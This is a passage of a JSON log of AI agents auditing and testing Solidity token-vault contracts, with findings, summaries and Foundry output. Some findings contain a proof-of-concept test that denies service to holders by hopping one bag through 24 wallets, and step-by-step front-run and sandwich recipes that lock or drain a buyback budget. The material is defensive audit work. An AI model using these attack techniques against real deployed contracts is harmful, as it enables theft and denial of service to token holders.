Intake, and unlockCallback accepts only the PoolManager with a pending swap. All defects live in the trust gaps, where a correct guard is cheap to satisfy or lets the caller choose the moment. The project's own suite passes locally (81 tests, 1 fork suite skipped without an RPC). Fork runs against live Robinhood Chain state are still owed and were out of reach here.","treeHash":null,"usage":{"cachedInputTokens":1551997,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":43289,"runtime":"claude","turns":35,"wallClockMs":826878}},{"artifacts":[],"attempt":2,"bundleHash":"45f2740795b12ac562c59f7a440cabc35e526671a8a0a4300fc0af5cf474205b","device":"cc309a7afc70b0b1","findings":[{"description":"The compensation CLI always uses OpenZeppelin StandardMerkleTree's complete binary-tree layout. The immutable compensation commitment instead uses sorted leaves, sorted-pair hashing, and promotion of an unpaired node unchanged. These layouts differ for the 62-leaf dataset. Independently recovered public transfers and snapshot balances reproduce exactly 62 wallets and total weight 201084680772174552329559308. The supplied real proofs reproduce root 0xe84256f66c03a4565c29addd32238495f1a0d5dda8c618e5f81ff8637c296347 and all 62 beneficiaries successfully receive payments from the unmodified production CompensationVault in test/MigrationClaims.t.sol. However, the documented compensation proof-generation command refuses this valid dataset. This is an off-chain tooling defect, not a defect in the contract's MerkleProof verification. Compensation proof construction needs the committed layout; the reward-tree construction can remain unchanged.","line":93,"path":"tools/merkle.py","reproduction":"With the submitted ordinary-file dataset, run: python3 tools/merkle.py compensation test/fixtures/migration-weights.json . Expected: 62 proofs for root 0xe84256f66c03a4565c29addd32238495f1a0d5dda8c618e5f81ff8637c296347. Actual: exit 1 with 'dataset does not reproduce the immutable compensation root; refusing to emit proofs'. Its standard_tree result is 0x0eb075d7b01da85ce7800977a6f42b05fc32942eb5a0c4c3f2a1270028e311bd. Independently check the accepted commitment offline using forge test --match-path test/MigrationClaims.t.sol: every real proof verifies and all production-instance payouts pass. Public transaction hashes, raw transfer amounts, historical snapshot balances and block hashes are in test/fixtures/migration-evidence.json. No RPC or credential is needed to reproduce the defect.","severity":"low","title":"Compensation proof generator rejects the actual committed migration dataset"}],"hash":"a88f3ae1166e706dd80a4906686bf79095b8e844dead8917443d32e64e3d76ee","nodeId":"52d41d5f-768b-4ff0-b7e0-e29f3db68fd9","outcome":"completed","summary":"Added adversarial tests, stateful invariants, and verified proofs for all 62 migration wallets.\n\n- `forge build`: passed.\n- Seeded offline suite: 81 passed.\n- Live Robinhood fork suite: 5 passed.\n\nReported one low-severity proof-generator defect in [.imd-findings.json](/home/imd/.identitymd/work/ed909f82-0fa3-4cb7-8219-952be6e3bde3/52d41d5f-768b-4ff0-b7e0-e29f3db68fd9/.imd-findings.json). Application contracts and configuration remain unchanged.","treeHash":"45dc6dce349ecb73f632af76839274c82f2982a9","usage":{"cachedInputTokens":6992896,"inputTokens":323641,"model":"gpt-6-astra","outputTokens":56455,"runtime":"codex","turns":13,"wallClockMs":2057418}},{"artifacts":[],"attempt":1,"bundleHash":"19c1e83eb42e607f7064cac7b5323851ac2fed1d7ebb527e2a50bc570a9e7097","device":"1da032f42d59f73b","findings":[],"hash":"ae0802c45c5c936a5c8d21d77e7761177c533135150e9a7ade7cc668402ca163","nodeId":"52d41d5f-768b-4ff0-b7e0-e29f3db68fd9","outcome":"completed","summary":"The JobsVault finding is settled: the author's fix holds, and `forge test` with the verifier's fuzz seed now passes 95 tests, with 1 skipped (the live Robinhood fork test, which needs an RPC URL that this machine and the verifier don't have).\n\n**The finding (vault-wide job caps).** I checked the fix rather than taking the \"fixed\" answer on trust. `src/JobsVault.sol` now has only the brief's rule: a wallet needs at least 1,000,000 tokens and can ask once every 24 hours. The tree did not build at first because my own job invariant test still checked the removed cap. I rewrote that test in `test/JobsStateful.t.sol`:\n- **Invariant test:** it no longer models any vault-wide limit, so a refused eligible, funded request now fails the test. It also requires that two holders were served in the same block at least once.\n- **New fuzz test, `testFuzzHoppedBagNeverStarvesAnEligibleHolder`:** it reruns the finding's reproduction with one bag moved through 1–60 wallets, 0–30 s apart. A holder who held throughout and a second holder are both served afterwards, and a second request within the day is still refused.\n\n**Other tests I updated for the author's latest changes.** Two of my earlier tests failed because the code they checked has changed, not because of a bug:\n- **Buyback price band:** a call when the pool price is outside the band now moves the reference price only one band step towards it, at most once every 10 minutes. I corrected the assertion and added `testLargePushWalksReferenceOneStepPerInterval`, which checks that a large price push gets one step per interval, an early call reverts, and no IMD is spent.\n- **Oracle retry:** a retry no longer cancels the earlier request. The test now checks that the earlier request's answer still installs the root, and that the retried request's answer, though validly signed, reverts `AlreadyAnswered` and leaves the root unchanged.\n\n**Brief deviation: `launch()`.** The brief asks for `Intake.request` with no callback. The author now uses `requestWithFailure` with a result and a failure callback, and a failure reported by the Intake reopens the one-time `launch()`. This follows the intake-client reference. The author's own tests cover it: only the Intake can call it, only for the vault's own request, and never after a result or after `bindLaunch`. So I did not raise it as a finding.\n\nNo new defects, so there is no `.imd-findings.json`. Every change is under `test/`, and `test/TESTING.md` now records the finding as settled.\n\nThe live fork test against Robinhood Chain still needs to be run somewhere with network access.","treeHash":"88b22a839878165a8e0812797cddac7a199fe883","usage":{"cachedInputTokens":1163769,"inputTokens":36,"model":"claude-opus-5-5","outputTokens":11071,"runtime":"claude","turns":20,"wallClockMs":621535}},{"artifacts":[],"attempt":1,"bundleHash":"9cc1e30cebadebb2fa62f7ed15c9b270eca0fb5fc3b0088e9914490a67f1d10f","device":"e0f64c10e30e33e2","findings":[{"description":"The brief says: 'Any wallet holding at least 1,000,000 of the launched token can call requestJob(bytes body) at most once per 24 hours.' The revision added two vault-wide limits: lastJobBlock (one job per block across all wallets) and MAX_JOBS_PER_DAY = 24 per period. Both refuse an eligible wallet that has not used its daily request. Worse, the cap can be monopolized for almost nothing. The vault pays the Intake price, not the caller, so the attacker pays only gas. One 1,000,000-token bag moved through 24 fresh wallets, one per block, fills the whole period. If the attacker is also the first caller after each period ends, every other holder is shut out indefinitely. The per-block limit also refuses a second, independent holder who calls in the same block. The caps limit the drain from token-hopping, but they swap a budget drain for a denial of service to legitimate holders, and the brief does not allow either cap. The design choice belongs to the requester: either keep only the per-wallet limit the brief specifies, or have the requester approve a vault-wide limit that one actor cannot monopolize.","line":47,"path":"src/JobsVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {JobsVault} from \"src/JobsVault.sol\";\nimport {Network} from \"src/Network.sol\";\n\ncontract PlainToken is ERC20(\"T\", \"T\") {\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Stand-in for the live Intake: fixed 0.5 IMD price, pulls exactly `amount` from the payer.\ncontract PricedIntake {\n    struct Callback {\n        address target;\n        bytes4 selector;\n    }\n\n    uint256 public nonce;\n\n    function priceOf(bytes32, address) external pure returns (uint256) {\n        return 0.5 ether;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)\n        external\n        returns (bytes32)\n    {\n        ERC20(asset).transferFrom(msg.sender, address(this), amount);\n        return bytes32(++nonce);\n    }\n}\n\n/// Brief: \"Any wallet holding at least 1,000,000 of the launched token can call requestJob(bytes body)\n/// at most once per 24 hours.\" One holder moving one bag through 24 fresh wallets, one block each,\n/// fills the vault-wide MAX_JOBS_PER_DAY cap, and an eligible holder who has never requested is refused.\ncontract JobsCapStarvationTest is Test {\n    JobsVault private jobs;\n    PlainToken private token;\n\n    function setUp() public {\n        vm.etch(Network.IMD, address(new PlainToken()).code);\n        vm.etch(Network.INTAKE, address(new PricedIntake()).code);\n        token = new PlainToken();\n        jobs = new JobsVault(address(this));\n        jobs.setToken(address(token));\n        PlainToken(Network.IMD).mint(address(jobs), 1_000 ether);\n        vm.roll(100);\n        vm.warp(1_000_000);\n    }\n\n    function testEligibleHolderIsNotStarvedByOneHoppingBag() public {\n        address squatter = address(0xBA6);\n        token.mint(squatter, 1_000_000 ether);\n        address holder = address(0xC0FFEE);\n        token.mint(holder, 1_000_000 ether);\n        // The squatter hops one bag through fresh wallets, one block apart, all inside one day.\n        address current = squatter;\n        for (uint256 i; i < 24; ++i) {\n            address next = address(uint160(0x10000 + i));\n            vm.prank(current);\n            token.transfer(next, 1_000_000 ether);\n            current = next;\n            vm.prank(current);\n            jobs.requestJob(\"{}\");\n            vm.roll(vm.getBlockNumber() + 1);\n            vm.warp(vm.getBlockTimestamp() + 12);\n        }\n        // `holder` has held 1,000,000 tokens all along and has never requested: the brief lets it.\n        assertGe(token.balanceOf(holder), jobs.minimumHolding());\n        assertEq(jobs.nextRequestAt(holder), 0);\n        vm.prank(holder);\n        jobs.requestJob(\"{}\"); // reverts DailyLimit() on the current code\n    }\n\n    function testTwoEligibleHoldersInOneBlockBothServed() public {\n        token.mint(address(0xA11CE), 1_000_000 ether);\n        token.mint(address(0xB0B), 1_000_000 ether);\n        vm.prank(address(0xA11CE));\n        jobs.requestJob(\"{}\");\n        vm.prank(address(0xB0B));\n        jobs.requestJob(\"{}\"); // reverts DailyLimit() on the current code\n    }\n}","reproduction":"forge test --match-path <proof file> (self-contained: etches a 0.5-IMD-price stand-in Intake and a plain ERC20 at the fixed IMD address). (1) A squatter moves one 1,000,000 bag through 24 fresh wallets, one block and 12 s apart, and each opens a job. Then a holder who has held 1,000,000 tokens throughout and has nextRequestAt == 0 calls requestJob. Expected: success (an eligible wallet's first request in 24 h). Actual: revert DailyLimit(). (2) Two different eligible holders each call requestJob once in the same block. Expected: both succeed. Actual: the second reverts DailyLimit(). The author's own test/JobsVault.t.sol testHoldingHoppedBetweenWalletsCannotDrainBudget asserts the cap, so it must change with the fix.","severity":"medium","title":"Vault-wide job caps let one bag starve every eligible holder, contradicting the per-wallet rule"}],"hash":"c13b3f118b563193b3efcee1d841af0d3d0937b475f9393be5bb0b140935ed31","nodeId":"52d41d5f-768b-4ff0-b7e0-e29f3db68fd9","outcome":"completed","summary":"The tooling finding from last round is fixed, and the full suite passes with the verifier's fuzz seed: 88 passed, 0 failed, 1 skipped. The skipped one is the Robinhood fork suite, which skips when no RPC is configured. I'm reporting one new defect in the author's latest revision.\n\n**Last round's finding is settled.** `python3 tools/merkle.py compensation test/fixtures/migration-weights.json` now exits 0 with root `0xe84256f6…6347`. All 62 proofs and weights it outputs match the committed fixture `test/fixtures/MigrationClaims.sol` byte for byte, and `tools/test_merkle.py` passes.\n\n**The author's revision broke nine of my tests; I updated them to the new intended behaviour:**\n- **Native ETH:** a marketing wallet that rejects ETH no longer reverts `distribute()`. The ETH now stays in the vault, the IMD split and burn still happen, and the ETH is paid out the next week. I rewrote my rollback test to assert that.\n- **Empty buyback:** calling `buyback()` with no IMD now reverts `NothingToBuy`. Tests that used an empty buyback to open the airdrop now wait out the new 3-day `BUYBACK_WINDOW` instead (in `CompensationFailures` and `MigrationClaims`).\n- **New job limits:** the vault now opens at most one job per block and 24 per day across all wallets. The random-sequence jobs model (`JobsStateful.t.sol`) now predicts both limits and checks the vault's counters, and one test now moves to a new block between requests.\n\n**New file: `test/CompensationPriceBand.t.sol`.** It runs against a real Uniswap v4 PoolManager and tests the new price band on buybacks:\n- Pushing the price in the same transaction makes `buyback()` only record a new reference price. It spends nothing, uses no tranche, and an immediate retry reverts.\n- The next tranche trades only inside the band around that recorded price.\n- Fuzzed front-runs in either direction never push a tranche outside the band recorded before the transaction.\n\n**New finding (medium) in `.imd-findings.json`, with a proof test that fails on the current code.** The brief lets any wallet holding 1,000,000 tokens open one job per 24 hours. The new vault-wide limits break that:\n- One holder can move a single bag through 24 fresh wallets, one per block, and fill the whole day's cap. The vault pays the Intake, so this costs them only gas, and every other eligible holder gets `DailyLimit()`.\n- Two different eligible holders calling in the same block: the second is refused.\n\nI didn't write any test that treats this as correct. The author's own `JobsVault.t.sol` asserts the cap and will need to change with the fix. Whether to keep a vault-wide limit is the requester's decision.\n\n**Not reported as a defect, but noted in `test/TESTING.md`:** each buyback tranche can move the price only about ±3%, and at most ten run. If spending the full budget would move the price further, or the 3-day window passes, the unspent IMD stays locked in CompensationVault for good. The author documents this as the cost of sandwich protection.\n\nThe fork tests against live Robinhood Chain still need to be run where an RPC is available. My changes are in `test/` and the root `.imd-findings.json`, and nothing is committed.","treeHash":"538b5adf17dbd29f3864a48c22c983dc7b14a74e","usage":{"cachedInputTokens":2898266,"inputTokens":74,"model":"claude-opus-5-5","outputTokens":29469,"runtime":"claude","turns":38,"wallClockMs":698033}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"60ffae3cc413a0c6","findings":[],"hash":"c6c9e6c79da59c575f31f14377154db89ffbb0fc9d0407d0b7ca4056d16a848e","nodeId":"52d41d5f-768b-4ff0-b7e0-e29f3db68fd9","outcome":"failed","summary":"API Error: 400 Claude Code 2.1.278 does not support this model; version 2.1.280 or newer is required. Run 'claude update', or update the Claude desktop app, then try again.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":1,"wallClockMs":4132}},{"artifacts":[],"attempt":1,"bundleHash":"2ec46363203bfcabef9d4c37ecfe8fa7efd4cd2639ee01f52a46654199c80a93","device":"99e4819277ea59fc","findings":[],"hash":"cb66ded266a067d6249f88ff221f28cc447c4d94c5148f92221c6565d8324250","nodeId":"2a63da5a-94b5-4737-aedb-e86d9fbcc281","outcome":"completed","summary":"`launch.json` is written and verified. It is the only file changed in the tree.\n\n**What the manifest contains.** One contract entry, `SIMDVault`, with an empty constructor argument list. The accepted source declares `constructor()` with no parameters, and the vault creates JobsVault, CompensationVault and HolderRewards itself and exposes them as immutable getters. Listing the children separately would deploy unlinked copies, which the project README explicitly warns against, so they are described in the notes rather than as entries. There is no `$owner` argument because the brief and the implementation have no owner or admin. Every fixed address is a compile-time constant in the Network library. The notes run to about 2,600 characters and summarize the four contracts, the dev wallet's two one-time powers, the weekly split, and the post-deployment funding step.\n\n**Checks run.**\n- A schema check with Node confirmed only the keys kind, contracts and notes, a valid identifier name, string arguments and notes under 4,000 characters.\n- `forge build` succeeded, and `forge inspect` shows `constructor() nonpayable` with no inputs, matching the empty argument list.\n- `forge test` with the verifier's fuzz seed ran 82 tests: 81 passed, 0 failed, 1 skipped. The skipped test is the fork suite, which skips cleanly without an RPC.\n- `git status` shows only the new launch.json as untracked.\n\n**Nothing left out.** No value was missing from the brief, so no blocked file was needed.","treeHash":"853ba8c12eca10ddeb897f00e82c78769a445c3a","usage":{"cachedInputTokens":436039,"inputTokens":258,"model":"claude-fable-5-1","outputTokens":6424,"runtime":"claude","turns":20,"wallClockMs":295775}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f768e94767a9dde3","findings":[{"citation":"resolved","description":"Residual of finding cdda753debca (sandwich) combined with the author's fix for ed00cdc932e7 (zero-output tranche ends the buyback). The tranche swap stops at the band edge (unlockCallback passes sqrtPriceLimitX96 = upper or lower). buyback() is permissionless and only requires the pool price to be strictly inside the band at call time (line 123). Anyone can therefore, in one transaction, swap IMD into the pool until sqrtPrice == upper - 1 (one unit inside the band), call buyback(), and sell back. The vault's swap can only move the price by one unit, consumes 2 wei of IMD and returns 0 tokens; every check in unlockCallback and buyback passes (inputDelta <= 0, outputDelta >= 0, paid <= spend, balance delta == paid), so line 143 sees received == 0 and calls _finishBuyback(). buybackComplete is permanent, buyback() reverts BuybackFinished for ever, no other function moves IMD, and airdrop() opens on the factory's 10% allocation alone. The entire anti-sniper fee meant for the 62 migration wallets is stranded, at the cost of one 1.5%-sqrt push plus two swap fees, from the first eligible second (buybackAvailableAt = bind + 30 min is public). Works symmetrically with lower + 1 when IMD is currency0. Fix that keeps the design: a zero-output (or band-limited) fill must not end the buyback; treat a swap that ends at the band edge like the out-of-band case (record one band step, no tranche, retry after TRANCHE_INTERVAL) and only finish on zero output when the pool price did not reach the band limit (no liquidity in range), or finish only after BUYBACK_WINDOW.","line":143,"path":"src/CompensationVault.sol","reproduction":"test/scratch/BandEdgeLock.t.sol::testOneFrontRunAtTheBandEdgeEndsTheBuybackWithAllIMDLocked, real v4 PoolManager at Network.POOL_MANAGER. State: TEST(0x1000)/IMD pool, fee 3000, price 1:1, full-range liquidity 20,000e18; vault bound; CompensationVault holds 1000 IMD and 1000 TEST; block.timestamp = buybackAvailableAt. Attacker contract with 2000 IMD, in ONE transaction: exact-input IMD->TEST swap with sqrtPriceLimitX96 = priceBand().upper - 1 (pool stops exactly there), compensation.buyback(), sell the bought TEST back. Expected: the buyback keeps running (tranche partial at the band or TooEarly/out-of-band) and the 1000 IMD is still buyable later. Actual (forge -vv logs): vault IMD spent 2 wei, vault TEST bought 0, tranches 0, buybackComplete true, attacker cost 1.789 IMD; a later buyback() reverts BuybackFinished. Assertion 'one band-edge front-run must not end the buyback' fails.","severity":"high","snippet":"        if (received == 0) {\n            // The pool cannot sell any more tokens for a tranche: nothing left worth buying.\n            _finishBuyback();","title":"CompensationVault.buyback(): a front-run parked one unit inside the band edge makes the tranche return zero tokens, and the zero-output rule then ends the whole buyback with all IMD locked"},{"citation":"resolved","description":"Residual of finding cdda753debca. The band bounds each tranche to +1.5% sqrt (about +3% price) above the reference, but after a fill line 141-142 records the pool price at the end of the vault's own swap as the new reference, in the same transaction. A permissionless caller who pushes the price to just under the upper edge before calling buyback() gets the tranche filled at up to ref*1.03 and the new reference set there; selling back afterwards does not touch the reference. Ten minutes later the same caller pushes to the new edge again, so tranche k fills at about fair*1.03^k. No arbitrage resistance is needed, contrary to README line 101 ('someone has to hold that price against arbitrage for ten minutes per 1.5%'): that only applies to the out-of-band path at line 123-126, not to an in-band push. Loss is bounded (~3% on the first tranche, ~30% on the tenth, ~14% of the whole budget) and needs capital of a few percent of the pool reserve per step, hence medium rather than the earlier high. Fix within the design: move the reference by at most one band step per TRANCHE_INTERVAL in every path, i.e. after a fill record min(postSwapPrice, previousReference * (1 + band)) only once per interval, or anchor the reference to a pre-call observation (previous block / previous tranche) rather than the post-swap price of the current transaction.","line":141,"path":"src/CompensationVault.sol","reproduction":"test/scratch/BandEdgeLock.t.sol::testInBandRatchetMovesEveryTrancheAwayFromTheFairPrice, same setup as finding 1 (liquidity 20,000e18, 1000 IMD budget, tranche 100 IMD), attacker holds 50,000 IMD. Ten rounds, 10 minutes and one block apart; each round in one transaction: push the price to referenceSqrtPrice * 1.0095, buyback(), sell all TEST back. Expected: tranches fill near 1:1 (at least 960 TEST for 1000 IMD within one band). Actual (logs): 10 tranches, 1000 IMD spent, 859.79 TEST bought, attacker IMD profit 32.88, final reference sqrt price 1.1512x fair (32% above in price). Assertion 'tranches filled far from the fair price' fails: 859.78e18 < 960e18.","severity":"medium","snippet":"        (price,,,) = IPoolManager(Network.POOL_MANAGER).getSlot0(poolKey.toId());\n        _recordReference(price);","title":"CompensationVault.buyback(): the post-swap price of an attacker-positioned tranche becomes the next reference, so an in-band sandwich ratchets the band 3% per tranche without holding the price against"},{"citation":"resolved","description":"Settlement of finding 6b86b00840e5 (earlier medium). The behaviour still reproduces: Proof_6b86b00840e5, Proof_33158fc89aea and Proof_8e7f597555b8 all fail on this tree (20 jobs for 1 IMD expected, 80 IMD against 10 expected). The author disputes it as the brief's literal rule ('any wallet holding at least 1,000,000 ... at most once per 24 hours' is a spot balance with a per-wallet cooldown), states that the vault-wide caps a previous revision added were themselves rejected by the binding proof ea7db97f (fresh wallets must be served in the block they receive the bag), and documents the property and four candidate rule changes in README 'Holder jobs'. The IMD goes to the Intake as job payments, nobody profits, and other holders are starved for the week. Downgraded to info: it is a property of the requested rule, not a code defect, and only the requester can change the rule (global daily cap, snapshot eligibility, holding age, or stake-to-request).","line":42,"path":"src/JobsVault.sol","reproduction":"forge test --match-path test/scratch/Proof_6b86b00840e5.t.sol: JobsVault holds 20 IMD, price 1 IMD, one 1,000,000 TEST bag hopped through 20 contracts in one transaction, each calling requestJob. Expected under a per-holding rule: 1 IMD spent. Actual: 20 IMD spent (fails with '20000000000000000000 > 1000000000000000000'). Not blocking: matches the brief's per-wallet wording.","severity":"info","snippet":"        if (IERC20(token).balanceOf(msg.sender) < minimumHolding) revert InsufficientHolding();\n        if (block.timestamp < nextRequestAt[msg.sender]) revert DailyLimit();","title":"JobsVault.requestJob(): one 1,000,000-token bag moved between wallets opens one job per hop; the author documents this as the brief's own per-wallet rule, and the requester must decide whether to chan"}],"hash":"e7dc44359e518a105b198ee44e9879950860e772e342e7776764236f667b8266","nodeId":"3087fc46-ea6e-470d-9726-f85e98d2b8a3","outcome":"completed","summary":"Review complete. The findings file is written at `.imd-findings.json` with 3 findings and a 22-row coverage record. No tracked file was changed.\n\n**Settlement of the earlier findings**\n\n- **Sandwich (cdda753, high):** the band fix holds against the attached proofs, which now pass. But two residual paths reproduce on the real PoolManager, reported as findings 1 and 2 below.\n- **Dust or partial tranche brick (ed00cdc9, high):** dropped. The attached proof passes on this tree, partial fills count as tranches, and the 3-day window always opens the airdrop.\n- **Jobs bag hopping (6b86b008, medium):** still reproduces, with all three proofs failing. The author's dispute is sound: the brief's wording is a spot balance with a per-wallet cooldown, and the README documents the property and the rule changes the requester can choose. Downgraded to info so the requester decides.\n- **Advisory items:** the retry-invalidation and carry-affordability fixes are confirmed in code and by the project's tests. The native-ETH revert and the frozen-empty-budget items do not reproduce on this tree. The launch failure callback matches the intake-client reference. The snapshot-block item is the brief's wording and is dropped.\n\n**New findings, both from the band fix**\n\n1. **High.** Anyone can park the pool price one unit inside the band's upper edge and call buyback() in the same transaction. The vault's swap pays 2 wei, buys 0 tokens, and the zero-output rule at `src/CompensationVault.sol:143` marks the buyback complete. All 1000 IMD in the test is locked for good, at a cost of 1.79 IMD to the attacker. The proof is `test/scratch/BandEdgeLock.t.sol`, attached in the findings file.\n2. **Medium.** After a fill, the post-swap price becomes the next reference at once (`src/CompensationVault.sol:141`). An in-band push before each tranche ratchets the band about 3% per tranche without holding the price against arbitrage. Over ten tranches the vault gets 860 TEST for 1000 IMD and the attacker nets 32.9 IMD. The same proof file covers it.\n\nThe project's own suite passes with 95 tests and one skipped fork test. Fork runs against the live Intake remain owed, since this machine has no RPC configured.","treeHash":null,"usage":{"cachedInputTokens":1226789,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":31919,"runtime":"claude","turns":27,"wallClockMs":573635}}],"verification":[{"checks":[{"durationMs":84524,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 84.41s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:135:10:\n    |\n135 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:190:9:\n    |\n190 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":5087,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 666.66µs (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.17ms (698.73µs CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 29919278)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 60.05ms (59.91ms CPU time)\n\nRan 7 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4BandEdgeFrontRunCannotEndOrDelayTheBuyback() (gas: 6047342)\n[PASS] testRealV4InBandSandwichDoesNotRatchetTheReference() (gas: 9118904)\n[PASS] testRealV4PushedPriceMovesReferenceOneStepPerIntervalAndFillsNothing() (gas: 4435693)\n[PASS] testRealV4ThinPoolPartialFillsAreNotTranchesAndOnlyTheWindowEndsBuyback() (gas: 59720398)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4279190)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4269679)\n[PASS] testUninitializedPoolCannotBind() (gas: 229538)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 216.08ms (57.22ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsPerWalletRuleTest\n[PASS] testFuzzHoppedBagNeverStarvesAnEligibleHolder(uint8,uint8) (runs: 256, μ: 4065923, ~: 3011064)\nLogs:\n  Bound result 57\n  Bound result 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 280.80ms (277.30ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialLaunchAndDistributionTest\n[PASS] testBurnFailureRevertsClaimSplitEpochAndCooldownTogether() (gas: 6804164)\n[PASS] testFuzzUnauthorizedLaunchAndBindingLeaveAllStateUntouched(address,uint64) (runs: 1000, μ: 199530, ~: 199525)\n[PASS] testLateChildConfigurationFailureRollsBackEarlierChildrenAndCanRetry() (gas: 1354783)\n[PASS] testLaunchBodyBoundsDoNotConsumeOneTimePermission() (gas: 3102806)\n[PASS] testMaximumUintBalanceSplitsWithoutIntermediateOverflow() (gas: 3057560)\n[PASS] testRejectedNativeRecipientKeepsEthUntilAcceptingWeek() (gas: 3406444)\n[PASS] testRoundingDustParticipatesInFollowingWeek() (gas: 1060458)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 325.83ms (331.41ms CPU time)\n\nRan 12 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 920837)\n[PASS] testBoundLaunchCannotBeReopenedByALateFailure() (gas: 733625)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1754384, ~: 804452)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4868535)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 558337)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 126245)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3098677)\n[PASS] testRefusedLaunchReopensTheOneTimeCallAndOnlyIntakeForTheOwnRequest() (gas: 977243)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1686780)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 825544)\n[PASS] testRejectingMarketingCodeKeepsEthWithoutBlockingSplitOrBurn() (gas: 3043056)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3532009)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 341.71ms (353.17ms CPU time)\n\nRan 6 tests for test/CompensationPriceBand.t.sol:CompensationPriceBandTest\n[PASS] testFuzzAnyFrontRunNeverPushesTrancheOutsideEarlierBand(uint96,bool) (runs: 200, μ: 545770, ~: 522874)\nLogs:\n  Bound result 15\n\n[PASS] testFuzzBandEdgeStopNeverOverspendsOrMovesReference(uint16) (runs: 200, μ: 539930, ~: 544116)\nLogs:\n  Bound result 1\n\n[PASS] testLargePushWalksReferenceOneStepPerInterval() (gas: 845468)\n[PASS] testPricePushedInSameTransactionOnlyRecordsReferenceAndSpendsNothing() (gas: 452432)\n[PASS] testReferenceIsRecordedAtBindingAndBandIsSymmetric() (gas: 28895)\n[PASS] testTrancheAfterReRecordTradesOnlyInsideNewBand() (gas: 613046)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 347.91ms (395.00ms CPU time)\n\nRan 7 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1207458)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 663610)\n[PASS] testNoVaultWideCapStarvesAnEligibleHolder() (gas: 6122748)\n[PASS] testNoVaultWideSelectorsExist() (gas: 370363)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 384635)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1228169)\n[PASS] testSixDecimalsThreshold() (gas: 1235008)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 347.90ms (5.71ms CPU time)\n\nRan 2 tests for test/AdversarialLifecycle.t.sol:AdversarialJobsTest\n[PASS] testFuzzDecimalsThresholdOneUnitBelowAndExactlyEnough(uint8) (runs: 1000, μ: 1322148, ~: 1322120)\nLogs:\n  Bound result 36\n\n[PASS] testHoldingIsRecheckedAfterCooldownAndFailureDoesNotExtendIt() (gas: 1034851)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 348.10ms (347.18ms CPU time)\n\nRan 19 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2937961)\n[PASS] 